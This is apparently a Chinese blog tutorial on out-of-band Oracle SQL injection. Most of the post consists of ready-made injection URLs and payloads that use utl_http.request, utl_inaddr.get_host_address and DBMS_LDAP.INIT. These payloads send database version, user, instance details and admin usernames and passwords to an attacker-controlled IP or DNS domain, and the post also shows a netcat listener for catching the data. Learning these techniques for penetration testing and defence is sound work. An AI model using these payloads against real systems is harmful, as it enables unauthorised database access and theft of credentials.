Oracle注入之带外通信

Oracle注入之带外通信DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。

下面介绍这个技术中常用的函数和使用。

 


 

环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台。

接受的数据的靶机:

nc -vvlp 2008

 

0x01 utl_http.request()函数

 通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

 

检测是否支持utl_http.request
utl_http.request 页面正常 支持

 

http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

 

 

反弹注入命令

and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --
注意|| 注意转码%7C%7C

 例如这里使用

select banner from sys.v_$version where rownum=1查询oracle数据库版本指纹
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--

 

 

 

GET /Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Productio
n HTTP/1.1

 

 

查看当前连接用户 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual

http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --

 

 

 

 

 

查询系统用户

http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1--
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1--
http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--

 

 

 

 

查询admin的帐号和密码

http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1 --

 

 

 

 

以下是常用的一些命令。

1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

 

 

0x02 utl_inaddr.get_host_address()函数

and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

 

 

0x03 SYS.DBMS_LDAP.INIT()函数

and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

 

 

 

 三种函数用法效果大同小异,具体视情况使用即可。

 

posted @ 2019-05-30 22:10  卿先生  阅读(2235)  评论(0编辑  收藏  举报